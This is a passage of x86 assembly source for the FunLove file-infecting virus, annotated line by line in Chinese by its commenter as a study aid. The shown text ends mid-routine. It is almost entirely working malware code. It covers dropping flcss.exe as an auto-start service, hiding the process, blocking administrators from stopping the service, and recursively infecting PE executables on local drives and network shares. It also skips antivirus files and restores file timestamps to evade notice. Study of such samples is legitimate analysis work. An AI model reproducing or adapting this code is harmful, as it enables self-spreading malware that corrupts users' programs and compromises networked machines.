funlove七分注释

by JACKHY/CVC.GB



//学习win32汇编时,边学边找的个练手工具,停停写写的把注释做出来了,

//感谢给我学习动力和帮助的朋友们,KomsBomb,Vbin.Whg,Wowocockl,Hume.guojpeng,Whale....

//还有我的女朋友,我永远爱她

//我的水平很有限,东西肯定不是那么完美,好在我已经尽力做到详细了,因为我觉得

//如同我一般的想入门的朋友很多,就是没有一份详细的资料,希望这个的东东可以给朋友

//们以启发,里面有些问号的地方,表示我自己都不大理解,有知道了朋友,请告诉我一下

//小第不胜感激......

//希望大家看到有问题的地方一定要告诉我,这就是对我最大的鼓励

//我们的论坛 http://bbs.logincom.com/bbs/cgi-bin/leoboard.cgi

// email:jackhy@21cn.com BY JACKHY /CVC.GB

.386

LARGESTACK

RADIX 16

ASSUME CS:CODE,DS:CODE



CODE SEGMENT USE32



org 100

main:

I equ 1000 - 300

@ equ + ebx - offset VStart

INCLUDE HEADER.ASM



VStart:

INCLUDE HEADER.ASM



; ------------------------------------------------------------------------- ;

; ---------------------------- Startup Code --------------------------- ;

; ------------------------------------------------------------------------- ;



Virus PROC NEAR



call GetVS ;调用getvs,定位;

lea esi,[HostCode @] ;取得变量hostcode,为后面的寻找kernel的基地址做准备;

mov edi,[esp] ;取得esp的地址,这里就是程序在kernel32中的返回地址;

sub edi,08

mov [esp],edi

movsd

movsd

push dword ptr [esp + 04];注意这个是esp+04,详情看后面;

call RelocKernel32 ;调用relockernel32,初始化api地址;

or eax,eax;判断返回的值时候是成功;

jz short Exit;失败则跳转;

cmp byte ptr [OS @],00 ;通过标志值判断操作系统;

jnz short NT_Srv ;如果不是00(9x)的标志,就去nt模块执行;

call Create9xProcess ;调用create9x进程,开始做9x下的处理;

ret ;返回;

NT_Srv: call CreateNTService ;调用nt进程。开始做nt/2000下的处理;

Exit: ret ;返回;



Virus ENDP



; ------------------------------------------------------------------------- ;

; -------------------- NT Service Creation Routine -------------------- ;

; ------------------------------------------------------------------------- ;



CreateNTService PROC PASCAL NEAR



LOCAL SCM_Handle : DWORD;定义本地变量,保存scm控制句柄;。



call RelocAdvapi32;取得高级api的入口地址

or eax,eax --------|

jz short CNT_Failed-----|错误处理;

push 02-------------------|

push 00 |

push 00 |

call OpenSCManagerA-------|以允许创建服务的方式打开manger的数据库,并且返回 一个句柄
保存在eax中;

or eax,eax -----------|

jz short CNT_Failed-----|错误处理;

mov SCM_Handle,eax;成功就保存在变量scm_handle中;

call CreateExecutable;调用过程建立文件flcss.exe

or eax,eax ----|

jz short CNT_Exit-----|文件存在则退出;

mov edi,0F01FF--------------|这里的具体含义是什么我不大懂

lea esi,[Service @] |

push edi |

push esi |

push SCM_Handle |

call OpenServiceA------------|打开指定的服务,函数执行成功则返回指向flc服务 的句柄

or eax,eax----------------|

jnz short CNT_Run----------|如果有这个服务就去启动它;

xor eax,eax-----------------------|

push eax |

push eax |

push eax |

push eax |

push eax |

lea eax,[Buffer1 @] ; -〉 flcss.exe|

push eax |

push 01 ; ErrorControl|错误控制

push 02 ; Start |自动启动的方式,本服务采用;

push 20 ; Type |这里是访问权限,我不清楚

push edi |

push 00 |

push esi |

push SCM_Handle |

call CreateServiceA----------------|建立服务flc,关联进程为flcss.exe

or eax,eax-----------------------|

jz short CNT_Failed--------------|错误处理

CNT_Run:

push 00------------|

push 00 |

push eax |

call StartServiceA-|启动服务;

or eax,eax-----------|

jnz short CNT_Exit----|成功则退出;

CNT_Failed:

call StartInfectionThread;失败,直接启动感染线程;

CNT_Exit:

ret



CreateNTService ENDP



; ------------------------------------------------------------------------- ;

; -------------------- W9x Process Creation Routine ------------------- ;

; ------------------------------------------------------------------------- ;



Create9xProcess PROC NEAR



call CreateExecutable ;创建flcss.exe文件;

or eax,eax ----|比较返回值,失败就退出

jz short P9x_Exit-|

P9x_00:

xor eax,eax ---------|

lea edi,[Buffer2 @] |

push edi |buffer2初始化;

push edi |

mov ecx,040 |

repz stosd -------------|

mov cl,06--------------|循环6次,压入参数,为了createprocess做准备

push eax |

loop $ - 1--------------|

lea esi,[Buffer1 @]---|

push esi |

push 00 |

call CreateProcessA----|建立进程,执行flcess.exe

or eax,eax ----------|

jnz short P9x_Exit----|成功则返回

P9x_Failed:

call StartInfectionThread;失败,就在宿主进程里直接创建一个线程执行;

P9x_Exit:

ret ;返回;



Create9xProcess ENDP



; ------------------------------------------------------------------------- ;

; --------------------- flcss.exe Creation Routine -------------------- ;

; ------------------------------------------------------------------------- ;



CreateExecutable PROC PASCAL NEAR



LOCAL c_FileHandle : DWORD, / 定义本地变量c_filehandle,存放文件句柄用;

c_BytesWritten : DWORD ;定义本地变量c_bytewritten,存放写入字节数;

USES esi,edi ;保存esi,edi的值,本过程结束后恢复;



lea edi,[Buffer1 @] ;取得buffer1的地址,用来存放路径;

push edi ;保存,这里先压,后面的操作用到的时候就可以不压了



push 104;要取得的路径的长度;

push edi;压栈,做为getsystemdirectory的参数;

call GetSystemDirectoryA ;调用api得到系统目录的路径。结果保存在buffer1里

例如:btffer1里面为“C:/WINDOWS/SYSTEM"

add edi,eax ;eax返回的是实际长度,所以edi+eax就是指向现在的字符串的最后

mov al,'/' ;

stosb ; 然后加上”/’号,构成完整的路径"C:/WINDOWS/SYSTEM/";

lea esi,[Process @] -----|

movsd |把flcss.exe加在路径后现在的buffer的内容是

movsd | C:/WINDOWS/SYSTEM/flcss.exe

movsd --------|

push 02 ; 建立文件;(这里有些奇怪,少了个参数)

call OpenFile

cmp eax,-1 ----| 失败就退出

jz short CE_Exit--|

mov c_FileHandle,eax ;保存成功后的文件句柄;

lea edi,[VImports + 4 @] ---|

mov eax,-1 |

stosd |清理主引入表

stosd ---------------------|

lea edi,[Kernel32_Relocated @]----|

mov eax,[edi - 8] |清理第二个引入表;

stosd ---------------------|

push 00 -----------|写入文件头,把pe文件的头部写入到新建立的 |文件中去;

lea esi,c_BytesWritten |

push esi |注意:ebx是开始写入的地址,在程序中,因为定 |位后它是做为的定位的基地址处理
的,大家在看 |看前面的 VStart:

| INCLUDE HEADER.ASM

|因为程序包含了header.asm,所以这里其实就是 |指向了header.asm的开始位置,就是文件头了

|所以就用的是ebx

push 0200 |

push ebx |

push c_FileHandle |

call WriteFile --------------|

push 00 --------------------|

push esi |写入病毒体,把包括文件头再内的病毒体一起写 |入到文件中去

push Phys_VSize |

push ebx |

push c_FileHandle |

call WriteFile ----------------|

push c_FileHandle--------------|关闭文件

call CloseHandle---------------|

CE_Exit:

inc eax ;eax加1,做为成功与否的判断;

ret ;返回;



CreateExecutable ENDP



; ------------------------------------------------------------------------- ;

; --------------------------- Viral Service --------------------------- ;

; ------------------------------------------------------------------------- ;



VService PROC NEAR;这里就是作为病毒体写入后运行的程序段了,和直接执行的 不大相同;



call GetVS ;定位;

push dword ptr [esp]---|

call RelocKernel32-----|取得api的入口地址

or eax,eax-----------|

jz VS_Exit-----------|失败退出;

cmp byte ptr [OS @],00----------|

jz short W9x_Service_Register--|比较开始判断产生的os标志值,得到os的标志

如果是nt,就顺序执行;



WNT_Service_Hacknowledge://nt模块的处理,这里是//



call RelocAdvapi32;动态搜索高级api的入口地址;

or eax,eax-------|

jz VS_Exit-------|失败退出本过程;

lea esi,[Buffer1 @]

xor eax,eax

lea ecx,[Service @];取得服务名,为后面的登记服务函数做准备;

lea edx,[ServiceDispatcher @];取得作为服务处理程序运行的过程的有效地址;

mov [esi],ecx---------|

mov [esi + 04],edx |

mov [esi + 08],eax |

mov [esi + 0C],eax |

|

push esi---------------|在buffer1中构造参数,压栈,

call StartServiceCtrlDispatcherA;建立服务进程主线程即ServiceDispatcher与服 务控制管
理器的连接,我的理解是在系统服务的数 据结构里面做个登记;

W9x_Service_Register:://9x模块的处理,这里是//



lea esi,[USER32_Name @]-----|

push esi |

call LoadLibraryA------------|加载user32.dll库

lea esi,[RegisterClassA + 7 @]----|

push esi |

push eax |

call GetProcAddress----------------|取得RegisterClass这个api的入口地址;

or eax,eax------------------|

jz short VS_00--------------|失败就直接启动感染线程;

mov [esi - 06],eax;成功就保存其入口地址;

lea esi,[Buffer1 @]--------|

mov edi,esi |

xor eax,eax |

mov ecx,0A |

repz stosd -----------------|初始化缓冲区,以作为下面的registercalssapi的参 数

mov dword ptr [esi + 04],-1 ---------|注册一个窗体类,名字为flc;

mov dword ptr [esi + 10],400000 |

lea eax,[Service @] |

mov [esi + 24],eax |

|

push esi |

call RegisterClassA --------------------|

lea esi,[RegisterServiceProcess + 7 @]---|

push esi |

push dword ptr [Kernel32_Base @] |

call GetProcAddress-----------------------| 取得RegisterServiceProcess的入口 地址在
kernel32的内存映射空间里

or eax,eax--------------------|

jz short VS_00----------------|失败,直接启动感染过程;

mov [esi - 06],eax;保存其入口地址;

call GetCurrentProcessId ;取得当前进程的唯一id,作为下面的api的参数;



push 01 ---------|

push eax |

call RegisterServiceProcess------|注册当前进程为系统服务,既使得程序在

ctrl+del+alt里面消失

push 8*1000d ------------|

call Sleep---------------|睡眠8秒种;

VS_00:

call StartInfectionThread;启动感染过程;

VS_Exit:

ret



VService ENDP



; ------------------------------------------------------------------------- ;

; ----------------------- NT Service Dispatcher ----------------------- ;

; ------------------------------------------------------------------------- ;



ServiceDispatcher PROC PASCAL NEAR



LOCAL Service_Handle : DWORD;定义本地变量保存服务句柄用;



call GetVS;定位;(可不可以不这么做?);

lea esi,[ServiceHandler @]----------|

lea edi,[Service @] |

push esi |

push edi |

call RegisterServiceCtrlHandlerA-----|返回一个用于可以控制服务的句柄

mov Service_Handle,eax;保存在service_handle这个变量中;

lea esi,[Buffer1 @]------|

mov edi,esi |

mov ecx,06 |

xor eax,eax |

repz stosd----------------|初始化缓冲区buffer1,全0

mov dword ptr [esi],10----------|

mov dword ptr [esi + 04],04 |

mov dword ptr [esi + 08],07-----|初始化参数;

push esi ----------------|

push Service_Handle |

call SetServiceStatus ------------|初始化当前状态,并告诉win系统,come on, 我准备好
了,我的当前的信息已经告诉你了

push 8*1000d-----|

call Sleep-------|睡眠8秒(为什么?又睡觉!!!?);

call StartInfectionThread;启动感染子线程;

ret



ServiceDispatcher ENDP



; ------------------------------------------------------------------------- ;

; -------------------------- Service Handler -------------------------- ;

; ------------------------------------------------------------------------- ;



ServiceHandler PROC NEAR



ret ; if the admin tries to halt the

; service, he'll get a system error

ServiceHandler ENDP



; ------------------------------------------------------------------------- ;

; ------------------- Thread Creation Routine ------------------ ;

; ------------------------------------------------------------------------- ;



StartInfectionThread PROC PASCAL NEAR



LOCAL ThreadId : DWORD;定义本地变量threadid,保存线程句柄;



call GetTickCount ;取得随机值;

mov [Rand @],eax ;把得到的值,给变量band保存;

lea eax,ThreadId--------|

push eax |

push 0 |

push 0 |

lea eax,[VThread @] |表示新线程开始执行时代码所在函数的地址,即为线程函 |数

push eax |

push 0 |

push 0 |注意这里的0,表示是立即执行的意思

call CreateThread--------|建立新线程

ret



StartInfectionThread ENDP



; ------------------------------------------------------------------------- ;

; ---------------------------- Viral Thread --------------------------- ;

; ------------------------------------------------------------------------- ;



VThread PROC NEAR



call GetVS ;定位;

call InfectDrives;感染驱动器模块;

push 60d * 1000d---|

call Sleep ------|睡一觉(我都想睡了,继续吧)

call GetRand---------|

and al,1F |

jnz short VThread---|以一定的概率感染本地文件;

call InfectNetwork;开始网络感染;

jmp short VThread;跳转到vthread,继续执行,这是一个死循环;



VThread ENDP



; ------------------------------------------------------------------------- ;

; --------------------- Network Infection Routine --------------------- ;

; ------------------------------------------------------------------------- ;



InfectNetwork PROC NEAR



lea eax,[MPR_Name @]--------|

push eax |

call LoadLibraryA------------|加载mpr.dll库文件;

or eax,eax ---------------|

jz short INet_Failed-------|失败跳转;

push eax---------------------|

lea esi,[MPR_Functions @] |

push esi |

call DLL_Relocate------------|搜索得到mpr.dll中的相关api的地址;

or eax,eax-----------------|

jz short INet_Failed-------|失败跳转;

push 00----------------------|

call NetSearch---------------|开始搜索共享;

INet_Failed:

ret



InfectNetwork ENDP



; ------------------------------------------------------------------------- ;

; ---------------------- Valid Drive Test Routine --------------------- ;

; ------------------------------------------------------------------------- ;



InfectDrives PROC NEAR



push esi

call GetTickCount --|取得当前运行的时间保存,以作为一个随机值

mov [Tick @],eax---|

lea esi,[Buffer1 @] ;取得buffer1的地址,然后初始化,内容为

mov dword ptr [esi],' /:@' ;@:/,注意,这里的@为a盘的前一个字符

表示这里从a开始;

ID_TestDrive:

mov byte ptr [esi + 03],00--|给字符串后加上0,构造参数

push esi |

call GetDriveTypeA---------- | 判断驱动器的类型;

cmp al,03 -----------|判断是否为不可移动的驱动器(例如硬盘)

jz short ID_DriveOk--------|是则开始感染

cmp al,04 ---------|判断是否为映射的网络盘

jnz short ID_Invalid--------|不是则去做错误处理;证明这个盘符没用了;

ID_DriveOk:

add esi,03;esi加3后,注意它已经指向形如"x:/"的后面;

push esi -------|

call BlownAway----| 给nt打补丁;

push esi -----| 搜索文件;

call FileSearch---|

sub esi,03;回到buffer1的开头,为下一次操作做准备;

ID_Invalid:

mov al,[Buffer1 @]---------|

inc al |

mov [Buffer1 @],al |

|

cmp al,'Z' |

jna short ID_TestDrive-----|循环获取26个盘符



pop esi

ret



InfectDrives ENDP



; ------------------------------------------------------------------------- ;

; ----------------- Recursive Computer Search Routine ----------------- ;

; ------------------------------------------------------------------------- ;



NetSearch PROC PASCAL NEAR



ARG WNetStructAddr:DWORD ; 定义一个指向网络数据结构的指针;

LOCAL EnumBufferAddr:DWORD, / ; 定义一个变量保存网络缓存的地址;

EnumBufferSize:DWORD, / ; 定义网络缓存的大小,现在没值

EnumNB_Objects:DWORD ; 定义一个保存枚举机构后的变量来保存枚举数量;

USES esi, edi



mov EnumBufferSize,4000;初始化网络缓存大小为4000;

or EnumNB_Objects,-1 ;初始化枚举变量为ffff,在这里表示为所有的共享资源

lea eax,WNetStructAddr------|

push eax |

push WNetStructAddr |

push 0 |

push 0 |

push 2 |

call WNetOpenEnumA-----------|启动一个枚举过程,产生一个句柄;

or eax,eax-----------------|

jnz NET_Close---------------|失败,关闭网络连接;

push 04 ------------|

push 1000 |

push 4000 |

push 00 |

call VirtualAlloc -----------|分配一块可读写的内存

or eax,eax-----------------|

jz short NET_Close---------|失败,关闭网络连接;

mov EnumBufferAddr,eax ;把分配的虚拟内存的地址值给网络缓存地址变量,

为后面的处理做准备;

NET_00:

mov esi,EnumBufferAddr--------|

|

lea eax,EnumBufferSize |

push eax |

push esi |

lea eax,EnumNB_Objects |

push eax |

push WNetStructAddr |

call WNetEnumResourceA---------|开始枚举共享;

or eax,eax-----------------|

jnz short NET_Free----------|失败,释放虚拟内存空间;

mov ecx,EnumNB_Objects;实际枚举的资源数量

or ecx,ecx;----------------|

jz short NET_00-------------|比较是否有共享,没有就继续找(这里我有个问题

如果一直没有共享资源,岂不是要成死循环?)

NET_01:

push ecx;保存资源数量

push esi;保存网络缓存的地址;

mov esi,[esi + 14] ;得到资源的网络名,形如//xxx/x

or esi,esi ;是否为空?

jz short NET_03 ;yes,奇怪,空的也可以?:)

cmp word ptr [esi],0041 ;是否为软盘驱动器?

jz short NET_03 ;yes,那么也跳吧 (这里我又个有个问题,看来它的判断 是由共享资源的名
字来判断的,如果我给一个文件夹的共 享名取为a呢?会如何呢?)

lea edi,[Buffer1 @] ;都不是,就开始准备构造字符串了;

NET_02:

movsb -----------------|

cmp byte ptr [esi],00 |

jnz short NET_02 |

|

mov al,'/' |

stosb -----------------------|构造形入//xxx/x/的字符串;

push edi ----------------------|

call BlownAway-----------------|nt补丁文件那一块,这里是远程打补丁了;

push edi --------------------|

call FileSearch----------------|调用文件搜索的过程,开始搜索并感染文件;

NET_03:

pop esi-----------------------|

|

mov eax,[esi + 0C] |

and al,2 |

cmp al,2 |

jnz short NET_04--------------|是否还有其他的由当前的资源包含的可以枚举的

额外的资源

push esi ----------------------|

call NetSearch-----------------|如果有的话,作为参数在一次搜索,这里其实可以 理解为子
目录的意思

NET_04:

add esi,20--------------------|

pop ecx |

loop NET_01--------------------|找到了,esi朝后继续找下一个共享;

jmp short NET_00 ;又一次开始枚举网络资源

NET_Free:

push 8000---------------------|

push 00 |

push EnumBufferAddr |

call VirtualFree--------------|释放虚拟内存空间,这里为什么用8000呢

NET_Close:

push WNetStructAddr-----------|

call WNetCloseEnum------------|结束枚举操作;

ret



NetSearch ENDP



; ------------------------------------------------------------------------- ;

; ------------------- Recursive File Search Routine ------------------- ;

; ------------------------------------------------------------------------- ;



FileSearch PROC PASCAL NEAR



ARG CurrentDirEnd : DWORD 从堆栈取得当前的目录字符串的首地址;

LOCAL SearchHandle : DWORD 定义本地变量,保存搜索后找到的文件句柄;

USES esi,edi



mov eax,CurrentDirEnd ;eax保存当前的目录字符串的首地址;

mov dword ptr [eax],002A2E2A ; 在buffer1当前位置后面添加*.*现在的形式就为

x:/*.*

lea edi,[Buffer2 @]--------|

lea esi,[Buffer1 @] |

push edi |

push esi |

call FindFirstFileA---------|寻找文件,把结果放在buffer2里;

cmp eax,-1-----------------|

jz short RS_Exit----------|不成功,咱就走;

RS_00:

mov SearchHandle,eax;保存找到后的句柄;

RS_01:

test byte ptr [edi],10------|

jz short FileTest---------|判断是文件还是目录,注意“."和

"..",如果是文件就进行测试,是目录的话就继续深入 ,一层一层扩展;

RS_Directory:

cmp byte ptr [edi + 2C],'.'---|如果是当前目录,就开始找;

jz short RS_Next-------------|

mov esi,edi-------------------|

add esi,2C--------------------|取得目录名,这里是除了保留目录外的其他目录名

mov edi,CurrentDirEnd;回到字符串的位置为后面构造字符串做准备;

RSD_00:

movsb ----------|

cmp byte ptr [esi],0 |

jnz short RSD_00----------|构造形状如x:/x的字符串

mov al,'/'----------------|在后面加上"/",buffer1里面现在的

stosb -------------|形状如x:/x/

push edi --------|

call FileSearch --------|在一次搜索,这时当前目录名也变了(如果这里用

递归的话?)

RS_Next:

lea edi,[Buffer2 @]-------|

push edi |

push SearchHandle |

call FindNextFileA---------|继续寻找下一个目录

or eax,eax---------------|

jnz short RS_01 |没有东西了,表示本目录下没有文件或目录了

|那么就关闭,如果有就继续找;

push SearchHandle |

call FindClose-------------|

RS_Exit:

ret

FileTest:

mov edx,[edi + 2C]--------|

or edx,20202020 |把文件的扩展名

xor edx,61F81F61----------|大写转小写,然后把非字母的转回去,比如”."号

lea esi,[SkipNames @] ----------------------|

mov ecx,0C;12次,因为后面有12个文件名字 |

|

FT_00: |

lodsd |

cmp edx,eax ;比较是否为杀毒软件的开头字符; |

jz short FT_Exit;如果是就去找下一个; |

|

loop FT_00 ----------------------------------|查找是否是杀毒软件的文件名;

mov esi,edi--------------------------|

add esi,2C |

|

FT_01: |

lodsb |

or al,al |

jnz short FT_01 |

|

mov eax,[esi - 4] |

or eax,20202020---------------------|如果不是杀毒文件的话,就取的它的扩展 名开始比较

cmp eax,' xco'----------------------|

jz short FT_02 |

|

cmp eax,' rcs' |

jz short FT_02 |

|

cmp eax,' exe' |

jnz short FT_Exit-------------------|比较是否是我们想感染的文件类型;

FT_02:

mov eax,[edi + 20]---------------|

cmp eax,2000 |

jc short FT_Exit----------------|比较文件大小是否可以值得感染,不小于2k

cmp al,03 ------------------|

jz short FT_Exit------------|这里是判断是否是感染后的文件,是则退出感染

lea esi,[Buffer1 @]-----------|

lea edi,[Buffer3 @] |

push edi |

|

mov ecx,CurrentDirEnd~~~~~~~~~|计算当前的字符串的长度

sub ecx,esi~~~~~~~~~~~~~~~~~~~|这2句;

repz movsb---------------------|这里是得到目录路径了,为下面的感染构造字符串

lea esi,[Buffer2 @]-----------|

add esi,2C |

|

FT_03: |

movsb |

cmp byte ptr [esi - 1],0 |

jnz short FT_03---------------|得到文件名,至此,一个绝对路径的字符串构造成 功



call InfectFile 开始感染

FT_Exit:

jmp RS_Next



FileSearch ENDP



; ------------------------------------------------------------------------- ;

; ----------------------- File Infection Routine ---------------------- ;

; ------------------------------------------------------------------------- ;



InfectFile PROC PASCAL NEAR



ARG i_Filename : DWORD ;从堆栈得到文件名;

LOCAL i_FileHandle : DWORD, /定义本地变量,用于保存文件句柄;

i_FileSize : DWORD, /定义本地变量,用于保存文件大小;

i_BytesRead : DWORD, /定义本地变量,用于保存文件的实际读写字节数

i_VirusOffset : DWORD, /定义本地变量,用于保存病毒的偏移地址;

i_MapHandle : DWORD, /定义本地变量,用于保存内存映射文件的句柄;

i_HostDep32 : DWORD, /定义本地变量,用于保存

i_EP_Offset : DWORD 定义本地变量,用于保存



USES esi,edi ;保存esi,edi的值,本过程结束后自动恢复;



push i_Filename---------|

push 03 |

call OpenFile-----------|以打开存在文件的方式打开文件;

cmp eax,-1-------------|

jz IN_Exit------------|错误处理;

mov i_FileHandle,eax;成功,保存文件句柄;

push 00------------------|

push eax |

call GetFileSize---------|得到文件的大小;

mov i_FileSize,eax ;保存在变量i_filesize里面;

cmp al,03 ---------------|

jz IN_Exit--------------|判断文件是否已经被感染,如果是,跳过;

lea edi,[Buffer3 @];取得buffer3的有效地址;

push 00 ----------|

lea esi,i_BytesRead |

push esi |

push 2000 |

push edi |

push i_FileHandle |

call ReadFile --------------|读出4096字节放到buffer3里面;

cmp word ptr [edi],5A4Dh---|比较开始的字符是不是符合的文件,陷阱处理;

jnz IN_CloseFile-----------|不是可以执行的格式就关闭文件;

cmp word ptr [edi + 18],0040---|

jnz IN_CloseFile---------------|是不是win文件,这里〉=40hw为win文件,〈为dos 文件,不
是也跳过;

cmp dword ptr [edi + 3C],1C00--|

ja IN_CloseFile---------------|比较dos头是不是3c,是表示已经感染过

add edi,[edi + 3C];保存3ch处的值;

mov eax,[edi]----------|

cmp eax,00004550 |

jnz IN_CloseFile-------|比较是不是pe文件,不是的话,也关闭跳过;

cmp word ptr [edi + 5C],2 ---------|

jnz IN_CloseFile-------------------|比较是不是gui的子系统的文件,不是也跳过

mov esi,edi----------------|

add esi,18 |

add si,[edi + 14] |

push esi -----------------|取得第一个节表的值;

mov eax,[edi + 28];取得当前的执行节的rav,一般默认为1000;



IN_00:

mov ecx,[esi + 0C]---|

add ecx,[esi + 08]---|第一个节在内存中的结束地址;

cmp eax,ecx;比较eax是否小于ecx,rav是否小于当前的地址,如果小于就跳转到

in_01,如果大于就继续找,我这里有个问题,但是现在搞懂了:

jc short IN_01

add esi,28--------|

jmp short IN_00---|指针加28,指向下一个节;

IN_01:

sub eax,[esi + 0C]------|

add eax,[esi + 14] |

mov i_EP_Offset,eax-----|得到节基于文件的偏移量;

or [esi + 24],80000000;改变本节的属性,将它改为可写;(这里是修改的ep节的属性为什么呢
?)

pop esi ;刷新一次esi的值,这里又回到第一个节表头了,注意这里是为了上面的

add esi,28 操作后的所起的影响而写的

xor ecx,ecx;清0ecx;

mov cx,[edi + 06];取得节的个数;

dec ecx;减一个------|

mov eax,ecx |

mov edx,28 |

mul edx |

add esi,eax----------|得到最后一个节的位置;





mov eax,[esi + 24]---------|

cmp al,80 |

jz IN_CloseFile ----------|是否已经初始化了,如果是就关闭文件(是不是就是表示感染了?
);

or eax,8C000000 -----------|

and eax,not 12000000 |

mov [esi + 24],eax-----------|将它改为可写,不共享,不可删除;

mov ecx,i_FileSize--------|

mov edx,ecx |

mov eax,ecx |

clc |

shr eax,03 |

sub edx,eax |

sub edx,[esi + 14] |

jc short IN_02-----------|判断是否是自解压文件;如果小于则认为是sfx, 感染

sub edx,[esi + 10]?????????????

jnc IN_CloseFile

IN_02:

mov edx,[esi + 08];得到文件的虚拟大小;



sub ecx,[esi + 14];得到最后一个节的实际开始地址;

jc short IN_03;如果小于?就是说当前居然文件长度居然比最后一节都小?

cmp edx,ecx;用虚拟尺寸减去实际长度?疯了哦,怎么可能小嘛?

ja short IN_03;如果目的都没有达到的话

mov edx,ecx;就把现在的地址给edx了;

IN_03:

test edx,00000FFF ; align on 1000h

jz short IN_04

and edx,0FFFFF000

add edx,1000

IN_04:

mov ecx,edx------------|

add ecx,[esi + 0C] |

mov eax,ecx |

add eax,Virt_VSize |

mov [edi + 50],eax-----|以前的虚拟尺寸在加上现在的尺寸,然后在更新 SizeOfImage

sub ecx,[edi + 28]----------------|

add ecx,offset VStart - 100 - 08 |

mov i_HostDep32,ecx---------------|rav

mov eax,edx-----------------------|

add eax,Virt_VSize |

mov [esi + 08],eax----------------|增加虚拟尺寸;

mov eax,edx

add eax,[esi + 14]

mov i_VirusOffset,eax

add edx,Phys_VSize----------------|

mov [esi + 10],edx |

add edx,[esi + 14] |

add edx,03------------------------|增加物理尺寸

push i_FileHandle--------|

push edx |

call MapFile-------------|建立内存映射文件;

or eax,eax--------------|

jz short IN_CloseFile---|失败退出;

mov i_MapHandle,eax;保存句柄;

push eax--------|

call ViewMap----|映射文件对象到本进程空间;

or eax,eax--------------|

jz short IN_CloseMap----|错误就关闭内存映射文件;

mov edx,eax;保存文件在内存的映射的位置;

lea esi,[Buffer3 @]--------|

mov edi,edx |

mov ecx,2000 |

repz movsb------------------|写pe头;

lea edi,[HostCode @]------|

mov esi,i_EP_Offset |

add esi,edx---------------|得到在新的内存空间里的ep的地址;

movsd

movsd

mov edi,esi ; set up call gs:Virus

sub edi,08

mov eax,00E8659090

stosd

mov eax,i_HostDep32

stosd

mov edi,edx ;edi现在存放的是本文件在内存中的地址了;

mov eax,i_FileSize;eax存放文件的大小;

mov ecx,i_VirusOffset;ecx存放病毒代码基于文件的偏移地址;

sub ecx,eax;用病毒的偏移减去文件的大小;

jna short IN_05;如果比文件大的话就去in-05

add edi,eax;现在edi移动到文件的末尾了

xor al,al;al清0;

repz stosb;开始以cx为记数初始化后面的空间;

IN_05:

mov esi,ebx ;源串地址就是我们的开始地址; ------|

mov edi,edx ;edi为我们的文件在内存中的映射位置; |

add edi,i_VirusOffset;定位到病毒基于文件的地址; |

mov ecx,VSize;循环的次数; |

repz movsb;复制;----------------------------------|写入病毒体;

mov ecx,Phys_VSize - VSize + 3----|

repz stosb-------------------------|??????

push edx;把edx的值即现在的文件在内存中的位置作为参数传递给unmapviewoffile

call UnmapViewOfFile;解除对文件对象在当前地址空间的映射;

IN_CloseMap:

push i_MapHandle-----|

call CloseHandle-----|关闭文件对象;

call Wait_A_Little;休眠函数;

IN_CloseFile:

lea esi,[Buffer2 + 14 @]---|

push esi |

sub esi,08 |

push esi |

sub esi,08 |

push esi |

push i_FileHandle |

call SetFileTime------------|恢复文件的时间;

push i_FileHandle---|

call CloseHandle----|关闭文件;

IN_Exit:

ret;返回;



InfectFile ENDP



; ------------------------------------------------------------------------- ;

; ------------------- GetProcAddress Search Routine ------------------- ;

; ------------------------------------------------------------------------- ;



Whereis_GPA PROC PASCAL NEAR



ARG w_Kernel32 : DWORD ;的到通过堆栈传递的值,kernel32里面的返回地址;

USES esi,edi ;先保存这个2个寄存器的值,本过程执行完后,自动恢复;



lea esi,[GPA_Sigs @] ;取得判断操作系统的特征字符串的首地址;

mov byte ptr [OS @],00 ;变量os初始为0,它的作用在于程序以后的执行

可以直接通过它的值来判断操作系统,

mov eax,w_Kernel32;把得到地址进行与操作,得到它的高3位,为了便于理解我这是这么

and eax,0FFF00000 ;称呼;

cmp eax,0BFF00000 ;比较时候为9x的地址特征;

jnz short OS_WinNT? ;不是就到nt那一段去判断;

OS_Win9x:

mov edi,0BFF70000 ;把固定的kernel32在9x里面的值赋予edi,这里就是4位补齐了

jmp short WG_00 ;然后跳转到wg_00去执行;请大家注意这里的os没有加1



OS_WinNT?:

inc byte ptr [OS @] ;os+1,后面的程序以此作为是否是nt系统的判断;

add esi,08 ;esi加8,指向gpa_sigs里面的nt4这个位置;

cmp eax,077F00000;继续比较是否为nt的系统;

jnz short OS_Win2K? ;不是,就到2k的那段去判断;

mov edi,eax ;是的话,就保存,然后去wg_00执行,请大家注意,这里funlove里面

jmp short WG_00 ;把nt的基地址认为的是077f00000;其实是4位的,只是有位为0,

这里就没有重新赋值。

OS_Win2K?:

inc byte ptr [OS @];os+1,后面的程序以此作为是否是2000系统的判断;

add esi,08 ;esi加8,指向gpa_siga里面的2k这个位置;

cmp eax,077E00000 ;比较是否是2000的kernel32的地址;

jnz short WG_Failed ;不是,表示不是需要的操作系统,就失败跳转;

注意一点,这里的失败,因为操作系统的版本

或者打补丁的问题,也会出现的。

mov edi,077E80000;没有失败,表示是2k的了,赋2k里面的基地址;

WG_00:

mov edx,edi ;edx里面保存上面判断后得到的基地址;

mov ecx,20000 ;循环20000,开始暴力搜索getprocessaddress的地址;

WG_01:

push ecx ;保存ecx的值;

mov ecx,08 ;--- ecx赋值为8,把现在的esi里面的前缀字符串

push esi | 传递给edi。

push edi |

repz cmpsb;------

pop edi ;edi恢复值,为下一次查找做准备;

pop esi ;esi恢复值,为下一次查找做准备;

pop ecx ;恢复ecx的值,2000

jz short WG_02 ;如果相等,去wg_02执行,找到getprocaddress的地址了

inc edi ;不等,edi加1,即,从kernel32的基地址外下走一位,然后

loop WG_01;继续查找,直到找到;注意,这里用的是特征字符串判断的方式

所以不必在意kernel32里面的指令什么的,一位一位的比较就是了

btw:这种方式不是很好,可以用whg的方法,

w_Failed:

xor eax,eax ;错误处理,退出

jmp short WG_03;

WG_02:

add edi,03 ;找到后,把值赋给变量getprocaddress;

mov [GetProcAddress + 1 @],edi;这里加个1是因为第一位是mov ax的机器码

mov eax,edx ;保存kernel32的基地址,

mov [Kernel32_Base @],eax;为后面的操作做准备;

WG_03:

ret ;返回



Whereis_GPA ENDP



; ------------------------------------------------------------------------- ;

; ------------------ DLL Functions Relocation Routine ----------------- ;

; ------------------------------------------------------------------------- ;



DLL_Relocate PROC PASCAL NEAR



ARG DLL_Base : DWORD,; 得到基地址,就是在调用过程里面压入的eax的值;

DLL_Func : DWORD ;得到要查找api的名字字符串首地址;

USES esi ;保存esi,本过程结束后自动恢复;



mov esi,DLL_Func ;把地址给esi,在串操作里可以做源串地址;

DR_00:

